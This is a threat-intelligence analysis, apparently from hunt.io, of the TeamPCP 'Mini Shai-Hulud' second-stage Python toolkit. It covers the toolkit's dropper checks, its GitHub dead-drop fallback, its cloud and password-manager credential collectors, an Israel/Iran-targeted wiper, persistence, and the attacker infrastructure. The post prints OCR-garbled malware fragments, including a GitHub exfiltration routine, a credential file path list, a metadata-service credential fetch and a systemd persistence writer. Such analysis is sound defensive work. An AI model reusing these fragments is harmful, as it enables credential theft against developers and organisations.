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When Wiz Research_published their analysis of the Mini Shai-Hulud supply chain campaign, the focus was on the
trojanized npm and PyPI packages used to reach developer machines. What happened after delivery got
considerably less coverage. The second-stage payload, a 13-file Python toolkit, is where the actual damage occurs,

and no prior vendor report has examined it in full.

This analysis starts where the supply chain reporting stops. The dropper has already landed on the victim machine,
and the environment checks have passed. From that point, we traced every component of the toolkit through static
analysis, mapped the exfiltration chain end to end, and pivoted on confirmed infrastructure to surface nodes that

have not appeared in any prior TeamPCP reporting.

The six findings below summarize what the full toolkit analysis uncovered.

Key takeaways

e Primary C2 is hardcoded, not dynamic. The server address 83.142.209[.]194 is compiled directly into
the toolkit. FIRESCALE activates only when that address is unreachable, serving as a resilient fallback
rather than the primary path.

e FIRESCALE dead-drop. When the primary C2 is unavailable, the malware searches all public GitHub
commit messages worldwide for a signed alternative server URL, verified against an embedded 4096-bit
RSA key. Prior reporting referenced the mechanism by name but did not document how it works end to

end.

o Three-tier exfiltration. Exfiltration follows three paths in sequence: primary C2 server, FIRESCALE
dead-drop redirect, and the victim's own GitHub repository. Blocking any single tier leaves the other two

intact.

e GovCloud is explicitly targeted. The AWS collection module covers all 19 regions in its target list,
including us-gov-east-1 and us-gov-west-1. Those partitions are restricted to US government agencies and

defense contractors, and their inclusion is deliberate.

e Broad local collection. Beyond credential files, the malware captures every environment variable on the
machine, reads all SSH keys and config, walks the entire home directory for dotenv files, and pulls

credentials from running Docker containers.

e Geopolitical wiper. On Israeli or Iranian machines, a 1-in-6 probability gate triggers audio playback at
maximum volume, followed by deletion of all accessible files. Russian-locale machines exit before any

payload runs.
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With those findings in context, here is how the toolkit actually works, starting from the moment it lands on the

target machine.

Dropper Analysis: Environment Checks and Payload Execution

The toolkit arrives as a second-stage payload following the installation of trojanized npm and PyPI packages, a
supply chain compromise detailed in prior vendor reporting. This analysis begins at the point where the payload
has already landed on the victim machine, and the dropper component is evaluating whether conditions are

appropriate to proceed.

Before executing any payload logic, the dropper performs three sequential environment checks. If the operating
system is not Linux, the process exits immediately and silently. If the system locale is configured for the Russian
language, the process exits again with no trace. If the processor reports four or fewer cores, suggesting a virtual
analysis environment rather than a real developer workstation, the process terminates a third time. Each exit
produces no log entry, no error output, and no artifact on disk. The intent is to avoid security researchers and

automated sandboxes while targeting only production developer machines.

Dependency installation reveals a specific awareness of modern Linux configurations. The dropper uses a pip
installation flag designed to bypass a restriction introduced in Ubuntu 22.04 that prevents pip from modifying the
system Python environment. Without this flag, installation would fail silently on most contemporary developer

workstations. A retry attempt without the flag provides backward compatibility with older distributions.

With the environment validated and the dependency installed, the payload executes with all output suppressed.
Nothing is printed to the terminal, and the process does not expose a recognizable name to tools that monitor child

process creation.

The screenshot below captures all three environment checks, the dependency installation sequence, and the

suppressed payload launch as they appear in the dropper source.

Page 2 of 29



https://hunt.io/blog/teampcp-python-toolkit-firescale-github-c2-takedown

not in ("linux'):

get ("LANG", "").split(".")[0]
artswith('ru'):

-cpu_count() is MNone or .cpu_count() <= 4:
exit(1)

ck_call(
utable, "-m", "pip™, "install"™, “cryptography”, "--break-system-packaj

stdout=subp .DEVNULL,
stderr=subpro .DEVNULL

Exception:

.check_call(
[sys.executable, "-m", "pip™, "install®, "cryptography”],
stdout=subprocess .DEVNULL,
stderr=subprocess _DEVNULL
)
ot Exception:
.exit(1)

open(os.devnull, ‘w') as
with redirect_stdout (fnull), redirect_stderr (fnull):

.run_module('entrypoint®, run_name="__main__ ")

Figure 1. The dropper's three sequential anti-analysis checks (Linux platform, Russian locale, and CPU core

count) followed by dependency installation and suppressed payload execution

With the environment cleared and the payload running, the malware's first move is to reach out to a hardcoded

server. What happens when that server isn't there is where things get more interesting.

FIRESCALE: The GitHub Dead-Drop

The server address 83.142.209[.]194 is hardcoded in the malware as the fixed primary C2 destination. On each

execution, the malware attempts to reach this address first. A successful connection allows normal execution to
continue. If the server is unavailable for any reason, whether due to IP blocking, infrastructure takedown, or a

network firewall, the FIRESCALE fallback mechanism engages.

FIRESCALE works by querying GitHub's commit search API across all public repositories, using a user-agent
string that mimics a standard git client to avoid standing out in network logs. Each commit message returned by
the search is examined for a specific pattern: a keyword followed by two base64-encoded segments. The first
segment decodes to a server address. The second decodes to a cryptographic signature over that address, verified

against a 4096-bit RSA public key embedded in the malware. If verification succeeds, the decoded address
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becomes the new exfiltration destination. The search query string is api.github[.]com/search/commits?

g=FIRESCALE and is observable in network captures.

Because the search spans all of GitHub rather than a fixed repository, the operator can post a valid redirect from
any account at any time, including newly created throwaway accounts, forks of popular open-source projects, or
personal repositories with no prior history. There is no attacker-controlled repository to identify or take down.

Only the holder of the private RSA key can produce a redirect that the malware will accept.

But FIRESCALE is still a network-dependent path. If both the primary C2 and the dead-drop redirect fail, the

toolkit has one more option, and it doesn't require any attacker-controlled infrastructure at all.

Fallback Exfiltration via the Victim's Own GitHub Account

The local collection module targets the GitHub CLI's credential store and several environment variables
commonly used to hold GitHub personal access tokens. If the GitHub CLI is installed and has an active
authenticated session, the malware captures the current token directly from the tool. All token sources are pooled
for use in the fallback path if both the primary C2 and FIRESCALE redirect fail.

When a valid token is available, the malware creates a new public repository under the victim's own GitHub
account. The repository name is generated by combining two words selected from a 30-entry list that draws almost
entirely from Slavic folklore, including KOSCHEI, RUSALKA, BABA-YAGA, and DOMOVOI, with a random
three-digit number appended. Every repository created by this mechanism carries the same fixed description:

PUSH UR T3MPRR . The credential harvest is committed as a JSON file. The operator retrieves it using only
GitHub's public API, requiring no authentication as the victim and exposing no connection from the operator
infrastructure. Cleanup is performed using the same stolen token, leaving only a private audit log that most

victims would never examine.

RICHARD: The One Name That Doesn't Fit

Among the 30 words in the repository naming list, 29 are Slavic folklore references consistent with a Russian-
speaking developer background. The 30th entry, RICHARD , is a Western European given name with no Slavic
connection. Whether this is a reference to a specific individual involved in development, a deliberate anomaly

planted to mislead attribution, or simply an in-joke cannot be determined from the available evidence.

Any investigator with context on TeamPCP's development team should treat this as a potential lead. The
screenshot below shows the Slavic folklore naming list, including the anomalous RICHARD entry, the hardcoded

repository description, and the credential upload sequence.
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def upload_to_github(token, data_bundle):

ANOY JUSHKA ", "RICHARD", )
*POCHINC SAMOBRA , "VOLK", "SERYI", "GORBUI

.choi ordy_words)}-{ .randin

", "Accept™: "application/vnd.github.v

“private”: False, "description™: "PUSH UR T3MPR ) -encode

.b64encode (json . dumps (
s{urllib.request.urlope
).get("login™)

.urlopen(upload reqg): p

Figure 2. The repository naming word list (29 Slavic folklore references and one anomalous Western name),
alongside the hardcoded PUSH UR T3MPRR description and the credential upload sequence

All three exfiltration paths point back to a single starting condition: whether the primary C2 responds on first

contact. That contact, and everything that follows from it, follows a fixed sequence.

Primary C2 and Execution Sequence

The primary server address, 83.142.209[,]194, is not dynamically resolved or read from configuration. It is

compiled directly into the malware. The URL paths used for communication, one for receiving operator
instructions and another for uploading collected data, are designed to resemble traffic to a legitimate AT API
service. This suggests the actor is aware that developer machines routinely communicate with LLM services, and

such traffic is unlikely to trigger alerts even on monitored networks.

The execution sequence is deterministic. The malware contacts the primary C2 immediately on launch. If the
server responds, the response contains an operator-supplied payload that is passed to the persistence and wiper
components before any credential collection begins. Persistence is established, and the wiper is evaluated first.

Credential harvesting starts only after this initial phase completes.

If the primary C2 is unreachable, the wiper component does not activate. FIRESCALE takes over to locate an

alternative server. Credential collection runs regardless of which exfiltration path is active. When the collection
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completes, the harvest is compressed, encrypted, and transmitted. A failed transmission triggers the GitHub

account fallback.

This layered exfiltration design is deliberate. Disabling any single tier does not prevent the collected data from
reaching the operator. Defenders who focus only on blocking the known C2 IP address leave two additional

fallback paths intact.

The execution order is deliberate. Persistence and the wiper run before collection starts. Once that's done, the

toolkit begins working through a broad list of credential targets in parallel.

13 Modules, Parallel Execution, and 90+ Credential Targets

The toolkit is structured as a modular collection framework consisting of 13 Python files. A central orchestrator
discovers and loads all available collection modules at startup automatically, with no hardcoded list of targets in
the code itself. This design means the operator can add new collection capabilities by dropping a single file into
the appropriate directory with no changes to any other component. All collection modules run simultaneously in
parallel, reducing the total time the malware is active on the system and lowering the probability of detection by

behavioral monitoring tools.

The screenshot below shows the automatic module discovery and parallel thread pool dispatch that sits at the heart

of the collection framework.

et run_collector(module info) -> [str, dict]:

.import_module(f"collectors. {name}™)

et collect_all() -»
= list (pkgutil.iter modules(collectors. path_ ))

.ThreadPoolExecutor() as
.submit{run_collector, r ) : for

. .as_completed{futures):
-result()

et main():
= collect_all()

print(json.dumps(results))

= " main__ ":

main{)

Figure 3. The central orchestrator automatically discovers all collector modules at startup and dispatches them in
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parallel, merging results into a single output object
Local Files and Environment

The local collection module targets a considerably broader surface area than a typical credential stealer. In
addition to over 90 specific file paths covering cloud CLI configurations, package registry tokens, database
passwords, CI/CD secrets, VPN configs, and credential files for eight Al coding tools, including Claude Desktop,
Cursor, VS Code, Codeium, Continue, Zed, Opencode, and Kilo, the module performs four additional operations

that expand the collection scope substantially.

First, the module captures every environment variable visible to the running process. This single operation collects
CI/CD tokens, cloud service credentials, API keys injected by container orchestrators, and developer tool secrets
simultaneously, with no filtering applied. Second, the entire SSH directory is read, yielding private keys, host
configuration files, known hosts records, and authorized keys. Third, the home directory is walked recursively to
find dotenv files in any project subdirectory, covering all common naming conventions used in development
workflows. Fourth, the module connects to the Docker daemon socket and reads the environment variables set

inside every running container. If the socket is not accessible, it falls back to the Docker command-line tool.

Beyond these four operations, the module also collects Tailscale and WireGuard VPN configuration files and
recursively searches the home directory for Terraform state files. Terraform state stores the plaintext attributes of
every cloud resource that Terraform manages, which frequently includes credentials, API keys, and connection

strings that would not appear in any other collected file.

The following screenshot shows a representative portion of the static file target list. The complete collector

extends considerably further through the additional operations described above.
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.gitconfig”,
.git-credentials”,
/git/credentials™,
onfig.json",
-netrc”,
npmrc™,
onfig/npm/npmrc”,

yarnrc™,

.yarnrc.yml®”,

ip.conft",
dentials",
edentials.toml”,

.aws/config”,
.config/gcloud/application_default_credentials.json”,
.azurefaccessTokens.json™,
ureProfile.json",
fhosts.yml™,

-pulumi/credentials.json”,
.config/circleci/cli.yml",

Figure 4. A portion of the 90+ credential file paths targeted by the local collector, covering cloud CLI configs,

developer tokens, database passwords, and Al coding tool credentials
Password Manager Traversal: 1Password, Bitwarden, pass, and gopass

A single module handles four password manager CLI tools. The 1Password collector performs a full account-level
traversal, enumerating every account, then every vault in each account, then retrieving complete details for every
item in every vault. The Bitwarden collector checks whether the vault is unlocked before attempting retrieval, then
fetches all items if access is available. The pass and gopass collectors enumerate all stored entries and retrieve

each one individually.

The screenshot below shows the 1Password traversal, from account enumeration down to individual item

extraction.
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-get(" ount_uuid"™) or . "url™, "unknown™

_run("op", ault™, "list"™, "--forma son", ft"--accoun ccount_id}")

vault®™, wvault_id,
--format=json™

-loads(items_out)

ption:

-.get("id", "")
.get("title™, item_id)
"get™, item id,
vault id,

"-—format=json

Figure 5. The 1Password collector traverses accounts, vaults, and individual items in sequence, extracting

complete credential details at every level of the hierarchy

The following screenshot shows the gopass enumeration logic alongside the combined output function that merges

results across all four password managers.
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.splitlines():
.strip()

= _run{"gopass"™, "show", "--password", entry)

_collect pa

_collect gopa

Figure 6. The gopass collector enumerates all stored entries and retrieves each secret individually, alongside the

combined output function that aggregates results across all four password managers

Beyond files and password vaults, individual modules handle cloud providers, secrets infrastructure, and container
environments. Each one is built to cover as many authentication paths as possible on whatever machine it lands

on.

Collector Detail

The remaining modules each target a specific environment, covering the major cloud providers, secrets

management platforms, and container infrastructure.

AWS: GovCloud, All Profiles, and Two Secret Stores

The AWS collection module does not assume the target machine uses a single credential set. It reads the shared
credentials file and processes every profile configured in it, covering developer machines with multiple accounts,
CI/CD systems that rotate between profiles, and any environment where several AWS accounts are configured
simultaneously. Environment variables are also checked, and a fallback path queries the EC2 instance metadata

service for machines running inside AWS with attached IAM roles.

For each credential set found, the module queries both AWS Secrets Manager and AWS Systems Manager
Parameter Store across all 19 regions in its target list. Secrets stored in the Parameter Store with encryption
enabled are retrieved in plaintext. The region list includes both GovCloud regions, us-gov-east-1 and us-gov-west-

1. These regions are not accessible from standard commercial AWS accounts. Their explicit inclusion in the target
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list indicates the toolkit was developed with the expectation of encountering credentials belonging to US

government agencies, defense contractors, or entities in regulated industries that use the GovCloud partition.

A defect exists in the request signing component. It hardcodes the Secrets Manager service identifier in a header
field that should change depending on which AWS service is being called. When the module targets the Parameter
Store, it sends requests with the wrong service identifier. Parameter Store endpoints will reject such requests,
meaning Parameter Store enumeration may fail silently in practice. This issue does not affect the Secrets Manager

collection. Whether this is an oversight or unfinished code cannot be determined from static analysis.

The screenshot below shows the full target region list, including both GovCloud entries, and the multi-step

credential resolution chain used inside AWS environments.

est-2",
entral-1

imds_credentials()

= . .Request("http:
{"X-aws-ec2-metadata-to
= . .Rec ("htt ; Aflate a-« i edentials/
, headers -aws-ec2-metadata- en": tc
.urlopen(req2, timeout= strip()
-Request(f"ht /i 4. ta-data/ credentials/

aws-ec2-metadata-
urllib.request.urlopen
yId*, "").strip(), .get('Secret! ""Y.strip(), .get

.strip(), .strip() if

get _imds_credentials()
3 , imds™

Figure 7. The AWS collector's 19-region target list including both GovCloud partitions, and the multi-step

credential resolution chain covering named profiles, environment variables, and the EC2 instance metadata service

The following screenshot shows the request signing component. Note that the service identifier in the request
header does not change between Secrets Manager and Parameter Store calls, which is the root of the defect

described above.
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= f"content applicati ¢-amz-json-1.1\nhost:{ Hnx-amz-date:{
= "content-

+= f"x-amz-security-tok
security-token™

Fn®

.sha256(payload.encode( "utf _hexdigest()
{ Hin{ in{

Hin{ ¥

" AWSA-HMAC- SHA256"™
= 7] ¥ /4 }/aws4 _request”
= 7Y H\n{ -\ n -shaz: canonical request.
encode( 'utf-8")) .hexdigest
y(secret_k

ey, string to sign.

} Credential={
ignature={ L

2

"Authorization®:

Figure 8. The AWS request signing component has a hardcoded Secrets Manager service identifier that does not

update when targeting Parameter Store endpoints, causing silent failures in SSM calls

Kubernetes: In-Memory Certificates and Automatic kubectl

The Kubernetes collection module handles two scenarios: developer workstations with kubeconfig files and active
pods running inside a live cluster. On workstations, the module parses kubeconfig files using its own YAML
parser rather than a third-party library. This reduces the number of imported packages, making the module's

dependency footprint less distinguishable from legitimate Python code.

When client certificates are needed for API server authentication, the module loads them directly into memory
using a Linux kernel mechanism that creates file-like objects backed entirely by RAM, with no corresponding
entry on the filesystem. Certificate bytes are never written to disk at any point. This technique defeats forensic
recovery tools that look for credential files and evades detection rules that trigger on credential file creation

events. It is a deliberate anti-forensics measure.

When the Kubernetes command-line tool is not present on the target machine, the module downloads it
automatically. The target architecture is detected at runtime, and the appropriate binary is retrieved from the
official Kubernetes distribution server and staged in a temporary directory. Kubernetes credential collection then
proceeds regardless of the machine's original configuration, including CI runners and containerized environments

that were never intended to have cluster access.
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The following screenshot shows the in-memory certificate loading technique alongside the in-cluster service

account credential paths.

_read_file(path):
try:
with open{path, 'r', errors="replace’) as

urn f.read{)

with open{path, 'rb") as
: -read()

.beAdecode{v).decode('utf-8"', errors="replace')

-t _scalar(s):
= s.strip()
if len(s) »>= 2 and s[®] in ('"', "'") and

Figure 9. The Kubernetes module loads client certificates entirely into kernel memory with no filesystem write,

alongside the in-cluster service account credential paths used when running inside a compromised pod

The screenshot below shows the automatic download sequence: architecture detection, binary retrieval to a

temporary path, and PATH update that makes the tool available to the collector.
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def ensure_kubectl():
if -run{"command -v kubectl®™, shell=True, capture_output=True).

= -.machine().lower()
x86_64" in or "amd64
= "amde4™
"armed" in or "aarch64d™ in
"arme4™

"amde4™
dl.k8s.1io/rele: '] bin/1linux/ }/kubectl®

.run{f"curl -L {url} -o {target_path}", shell=True, check=True}

.exists(_ IN_CLUSTER_TOKEN):

return None

_read_file(_IN_CLUSTER_TOKEN)

irn N

Figure 10. Automatic Kubernetes CLI download sequence: runtime architecture detection, binary retrieval from

the official distribution server, and PATH injection enabling credential collection without a pre-installed tool

Azure: Four Authentication Paths

The Azure collection module attempts to obtain an access token through four different paths, tried in priority
order. The first path looks for client credentials in environment variables. If those are absent, the second path
looks for a client certificate and uses it to construct a signed authentication assertion. If neither succeeds, the third
path reads cached tokens directly from the Azure CLI's on-disk token store without making any outbound network
call to Azure. The fourth path, used on Azure virtual machines and containers with an assigned managed identity,

queries the local instance metadata endpoint, which provides a valid token automatically.

With a token obtained from any of these paths, the module enumerates every subscription accessible to the
identity, every Key Vault within each subscription, and every secret in every vault. An overprivileged managed
identity on a compromised Azure VM represents a particularly high-impact scenario: the module will silently
drain all Key Vault secrets the identity can reach, with no credential files on disk and no authentication artifacts to

detect.
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The following screenshot shows the four token acquisition paths and the OAuth?2 client credential flow

implemented without any Microsoft SDK.

.urlencode(data) -encode()
-Request{url, data=body)
.urlopen(req, timeout=timeout).read().decode()

_http _get(url, headers=None, timeout=5):
= - -Request{url, headers=headers or
urn . -urlopen(req, timeout=timeout).read().decode()

_b6durl(data: bytes) -> str:
urn .urlsafe b6dencode(data).rstrip(b'=").decode()

_token_client_credentials(tenant_id, client_id, client secret, resource):
_http_post{(f"{ AAD BASE}/{tenant_id}/oauth2/token", {
"grant_type™: "client_credentials"™,
"client id": client id,
"client secret™: client secret,
"resource"™: resource,
9

return .loads{resp)["access_token™]

Figure 11. The Azure collector's four token acquisition paths (environment credentials, client certificate assertion,

cached CLI tokens, and managed identity endpoint) and the OAuth2 client credential flow

GCP: Three Authentication Paths

The GCP collection module covers three authentication scenarios without using any Google-provided libraries.
For service account key files, the module constructs and signs a cryptographic assertion using only standard
library operations, then exchanges it for an access token at Google's token endpoint. For developer credentials
created through the standard gcloud authentication workflow, the module reads the stored refresh token and
exchanges it directly. For virtual machines and containers running on Google Cloud infrastructure, the module

queries the instance metadata server, which provides a service account token automatically.
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Once authenticated, the module retrieves all secrets from Google Cloud Secret Manager for every project the

resolved identity has permission to access.

The screenshot below shows all three GCP authentication paths alongside the cryptographic assertion construction

and token exchange logic.

one, timeout=5):
.Request(url, headers=headers or {})
.urlopen{req, timeout=timeout).read().decode()

- _http_post(url, data: dict, timeout=10):

.urlencode(data) -encode()
-Request(url, data=body)
.urlopen{req, timeout=timeout).read().decode()

_http get json(url, token, timeout=18):

-Request{url, headers={ F token
l;.dEEGd

et token from service account(sa: dict) -> str:
= int(time.tim )
= b6durl{json.dumps({"alg"”: "R5256 yp": "IWT™}).encode())
= b64durl{json.dumps(
"iss": sa["client email™],

scope™: "https i.googleapis.com/auth/cloud-platform®,

Figure 12. The GCP collector's three authentication paths (service account key file, application default credentials

refresh token, and instance metadata service) were all implemented without any Google SDK dependency

HashiCorp Vault: Four Ways to Get a Token

The HashiCorp Vault collection module attempts to obtain a client token through four sequential methods: a
dedicated environment variable, the token file that the Vault CLI writes to the home directory after a successful
login, role-based authentication credentials from environment variables, and the Vault CLI itself if it is installed
and has an active session. With a valid token from any of these sources, the module recursively enumerates all

secret engines and reads every path the token is authorized to access.

Once collection across all modules completes, the results don't go out raw. Before anything leaves the machine, it

goes through a packaging pipeline designed to protect the data in transit and make interception useless.

How Harvested Credentials Are Packaged
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Before any collected data leaves the machine, it goes through a three-stage cryptographic packaging pipeline. The
collected credentials are serialized and then compressed, which reduces the transmission size and makes the string
content harder to identify in memory forensics captures. The compressed data is then encrypted using AES-256 in
GCM mode. Unlike the CBC mode documented in earlier TeamPCP tooling, GCM provides authenticated
encryption: any tampering with the ciphertext during transit causes decryption to fail entirely, protecting the
operator's data from interception and modification. The encryption key is then wrapped using 4096-bit RSA with

OAEP padding, ensuring that only the operator, as the holder of the private key, can recover it.

The same cryptographic component also handles verification of FIRESCALE commit message signatures and

Azure certificate-based authentication. The shift from AES-CBC to AES-GCM and from smaller RSA keys to

4096-bit keys with modern padding reflects either a developer with solid applied cryptography knowledge or a
deliberate response to technical criticism of earlier samples. Prior vendor analyses identified AES-CBC as a

weakness in earlier TeamPCP tooling; this toolkit eliminates that weakness.

The following screenshot shows the complete packaging pipeline: compression, AES-GCM encryption, and RSA
key wrapping, alongside the FIRESCALE signature verification used by the dead-drop mechanism.

s} -> bytes:
password=None)
v15(), hashes_SHA256())

, signature: bytes) -»> bool:

key)
g.PKCS1v15(), hashes.®

pt_sha256(pem_pubkey: bytes, plaintext: bytes) -> bytes:
_pem_public_key({pem_pubkey)
return .encrypt(

plaintext,

padding.OAEP(
mgf=padding .MGF1{algorithm=hashes . SHA256()),
algorithm=hashes.SHA256(),
label=None

256_gcm_encrypt(key: bytes, iv: bytes, plaintext: s} -> [bytes, bytes]:

= Ciphe (algorithms ey), modes._ GCM(iv)).encryptor()
= -update(plaintext) + .finalize()

ef cert_shal thumbprint(pem cert: bytes) -> bytes:

= load pem x509 certificate(pem cert)

.fingerprint(hashes . SHA1()

Figure 13. The three-stage packaging pipeline: credentials are compressed, encrypted with AES-256-GCM, and
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the session key is wrapped with 4096-bit RSA-OAEP, alongside the signature verification used by the
FIRESCALE dead-drop mechanism

Credential theft is the primary mission. On a specific subset of machines, though, the operator payload delivered

by the C2 server does something else entirely.

Geopolitical Targeting and the Wiper

When the primary C2 server responds, the response body contains an operator payload that is passed to the
persistence and wiper components before credential collection begins. This component evaluates whether the
compromised machine is located in Israel or Iran by examining the system timezone configuration, timezone data

files, and locale settings.

A single match on any of these checks is sufficient to classify the machine as a geopolitical target. The check is
deliberately broad, using multiple independent signals to reduce the chance of missing a target due to a

misconfigured setting.

Being classified as a target does not mean the destructive payload will execute immediately. The component
applies a 1-in-6 probability gate, generating a random number and proceeding with the wiper sequence only on
one specific outcome. This gate serves an important evasion purpose: automated analysis sandboxes typically run
a sample once. Five out of six times, a sandbox running this malware against an Israeli or Iranian system profile
will observe only credential collection and miss the wiper entirely. The behavior only becomes statistically

reliable to observe after multiple executions.

When the gate does trigger, the component first checks for two audio utilities on the system: a PulseAudio volume
control tool and a media playback application. If either is absent, the destructive sequence aborts silently with no
effect. When both are confirmed present, the component unmutes system audio, raises volume to maximum,
downloads an audio file named RunForCover.mp3 from the C2 server, plays it, and then executes the command
that deletes all accessible files. The audio playback before deletion is intentional: the wiper is designed to cause

psychological impact, not just data loss.

The dropper's Russian locale check, applied before any payload executes, combined with the wiper's targeting of
Israeli and Iranian systems, is a consistent behavioral pattern across multiple independently analyzed TeamPCP
artifacts. This is not incidental. It represents an intentional geopolitical operational posture embedded in this

campaign from its earliest documented activity.

The screenshot below shows the persistence installation sequence, including the systemd service unit
configuration and the logic that selects between system-level and user-level installation depending on available

privileges.
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def deploy_local(python_b64):

rstemd/user™)

-Jjoin(bin_dir, "pgmonitor.py")
-join(svc_dir, "pgsql-monitor.service"

open(bin_path, "wb"™) as

.write(bas -be4decode (python_b64))
-chmod{bin_path, )
Exception:

Restart=always

Figure 14. The persistence module writes the backdoor script to disk and installs a systemd service unit configured
for automatic restart, with logic that selects between system-level and user-level paths based on available

privileges

The behavioral patterns embedded in this toolkit, from the Russian locale exit to the geopolitical targeting logic,

don't exist in isolation. They tie this campaign to a documented threat group through five independent threads.

Infrastructure and Attribution

Three independent vendors identified C2 infrastructure within the 83.142.209[.]0/24 subnet during the March

2026 campaign: Datadog at .11, Orca Security at .194, and Telnyx at .203. Three separate research teams
identifying three distinct addresses in the same network block across independent investigations make this subnet
a high-confidence attribution anchor. The endpoint paths used for operator communication are crafted to mimic
traffic to a legitimate AT API service, a traffic type that flows continuously in developer environments and is

unlikely to trigger network alerts.
Attribution to TeamPCP rests on five independently verifiable threads:

e Primary C2 address. 83.142.209[.]194 appears in both this toolkit and Orca Security's TanStack analysis,

confirmed by two independent teams.
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e Persistence service name. pgsql-monitor follows a documented three-iteration naming progression from

pgmon through internal-monitor, a sequence exclusive to this threat group.

e Supply chain operator account. voicproducoes links to the same IP address hardcoded in two separate

modules of this toolkit.

e Geopolitical posture. The Russian locale exit and Israeli/Iranian wiper targeting appear consistently across

multiple independently analyzed TeamPCP artifacts.

e Endpoint naming pattern. The operator tasking and data upload paths recur across prior TeamPCP

infrastructure, confirmed by multiple vendors.
Each thread stands on its own. All five pointing to the same group is not a coincidence.

Attribution anchors the analysis to TeamPCP. Pivoting from those anchors is where the infrastructure picture gets

broader.

Expanding the Infrastructure Map Beyond Known Indicators

The three confirmed C2 addresses in the 83.142.209[.]0/24 subnet serve as an anchor for broader infrastructure
enumeration. Passive scan data, port history, and cross-referencing techniques applied against each address surface
additional detail about the group's operational setup and reveal previously undisclosed infrastructure sharing the

same server fingerprint as the primary C2.

83.142.209[.]11: AdaptixC2 on Non-Standard Port

All three addresses in the subnet resolve to the same autonomous system: AS205759, operated by Ghosty
Networks LLC, registered in Luxembourg. This is a dedicated hosting provider with no legitimate business

presence, consistent with actor-controlled infrastructure leased specifically for offensive operations.

The port list for this address also includes FTP on port 21, POP3 on port 110, and IMAP on port 143. Mail
protocol ports on what is otherwise a C2 server are not consistent with legitimate mail server operation at a
dedicated hosting provider. Whether these represent deliberate traffic masking, a misconfigured honeypot-style

decoy, or unrelated services co-hosted on the same machine cannot be determined from scan data alone.

83.142.209[.]11 is shown below, confirming ASN membership, TeamPCP attribution, and the AdaptixC2 malware

classification.
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83.142.209.11 AS205759

Ghosty Networks LLC & LU

© History

Info ST ASN Reputation & Risk

Ghosty Networks LLC Gern IP Ranges 83142.209.0/24 1High Risk

Belgiu
Luxembourg, Luxembourg 9 ’ Hosting Active Malware:
=L

(€]

Paris Companies
- 8 Warning

ance =l 10Cs:

SWitzarlar )

Show More

Possible APT:
(TE

Open Ports and Software
Name ¢ Port ~ Product Version Status Code Extra Info First Seen < Last Seen ¢

05 FTP E2 i, . - - = 05/03/2026 05/13/2026

O SSH . - - 5 - - 01/17/2026 05/13/2026

@ HTTP ) B B - - - 03/23/2026 05/13/2026

Figure 15. hunt.io profile for 83.142.209[.]11 showing AS205759 attribution, TeamPCP APT classification, and

AdaptixC2 active malware designation

The complete port history for the same address shows AdaptixC2 on port 2222 highlighted as an active threat,

alongside the full list of observed services, including mail protocols and non-standard TLS ports.

& IMAP = - - - - 05/04/2026 05/04/2026

&) TLS/HTTP = = = - - 03/22/2026 05/13/2026

&) TLS = = - - - 05/03/2026 05/13/2026

&) TLS/HTTP = - - - 03/23/2026 04/27/2026

@ HTTP = - - - - 05/09/2026 05/09/2026

Figure 16. Open port history for 83.142.209[.]11 showing AdaptixC2 on port 2222, mail protocol ports 110 and
143, and additional TLS listeners on 993, 7777, and 8443

Infrastructure Pre-Dating the Campaign

83.142.209[.]1194 was first observed on November 15, 2025. SSH on 83.142.209[.]203 was first observed on
November 21, 2025. Both dates predate the earliest documented TeamPCP supply chain activity by approximately

four months. This pattern is consistent with deliberate pre-positioning: the C2 infrastructure was built out, aged,

and then activated when the campaign launched.

83.142.209][,]203 is shown below. The 13 warnings associated with this address include reporting linking it to a

poisoned Al inference package and the TeamPCP dark web profile.
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83.142.209.203 AS205759

Ghosty Networks LLC & LU

© History

ASN Reputation & Risk

Ghosty Networks LLC Gern IP Ranges 83.142.209.0/24

Belgiu 0 High Risk

Luxembourg, Luxembourg ’ Hosting

&=LU » Companies ening
ASN 10Cs:

ance s

Jrar

Quwiitzarlar

Show More

Possible APT:
TE

Open Ports and Software
Name Port ~ Vendor Product Version Status Code Extra Info First Seen Last Seen
O SssH . - - - - - 1/21/2025 05/01/2026
@ UNKNOWN - - - - - - 04/24/2026 04/28/2026

@ UNKNOWN - 5 - - - - 04/26/2026 04/28/2026

Figure 17. hunt.io profile for 83.142.209[.]203 showing AS205759 attribution, TeamPCP APT classification, and

IOC associations, including a poisoned Xinference package and dark web profiling

83.142.209[,]194, the primary C2 in this toolkit, is shown below. This address carries the highest risk rating of the
three and is directly referenced in two major supply chain incident reports, confirming it as the operational core of

this campaign's server infrastructure.

83.142.209.194 AS205759

Ghosty Networks LLC & LU

O History

ASN Reputation & Risk

Ghosty Networks LLC Belgiu Gern IP Ranges 83142.209.0/24

Luxembourg, Luxembourg ’ Hosting

=L Pari Companies 4 Warning
10Cs:

0 High Risk

ASN
ance

s
2
Quitzarlan

Show More

Possible APT:
(TE)

Open Ports and Software
Name ¢ Vendor Product Version Status Code Extra Info First Seen Last Seen &

O SSH . - - - - - 1/15/2025 05/13/2026
@ HTTP . - - 03/26/2026 05/13/2026

&) TLS/HTTP . = = = = - 05/08/2026 05/13/2026

Figure 18. hunt.io profile for 83.142.209[.]194 showing 6 High Risk designations and IOC associations to the
TanStack supply chain attack and the Mini Shai-Hulud campaign reporting
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The three confirmed addresses in the subnet show consistent patterns. Querying on one of them in HuntSQL

produced a result that wasn't on any existing blocklist.

HTTP Header Fingerprint Pivot: GCP Address Identified

83.142.209[.]194 using hunt.io's SQL interface produced two results within the preceding 30-day window. The
query matches on the SHA-256 hash of the redacted HTTP headers, a technique that identifies servers returning an

identical header structure regardless of IP address or domain.

0} IP/Domain/ASN/Actor search Search & | (El

83.142.209.194 AS205759

Ghosty Networks LLC & LU

[ Pivots (10 O History

Count Type Fingerprint

Redacted Headers (SHA256) ec629e05a4e39b589826519254e85582f43376204804963b047db904fb296b2e [
JA4X Certificate 7022¢563de38_7022¢563de38_795797892f9¢ (@ Search Q

Certificate Issuer CN localhost [ Search Q

Certificate Subject CN localhost [ Search Q

JARM TLS 3fd3fd00000000000043d3fd3fd43d79451d8c63b099acafdbabb24551d0e6 ) Search Q

Redacted Headers (SHA256) 8379ac2655022be100f05542e6959a0e56f4a0ca557f9457863ech15d237c11b Ty

Alphabetically Sorted Headers (Murmur3) 84153E170C11A962 O

Normalized Headers (Murmur3) 6097E5FAODF31ADD ()

Unique, Normalized Headers (Murmur3) 6097E5FAODF31ADD )

HTML body (SHA256) B16E15764B8BCO6C5C3FOF19BC8BIIFA48E7894AA5A6CCDADB5DA49BBF564793 (D)

Figure 19. 83.142.209[.]194 pivots, including the redacted HTTP headers we used to find additional attacker

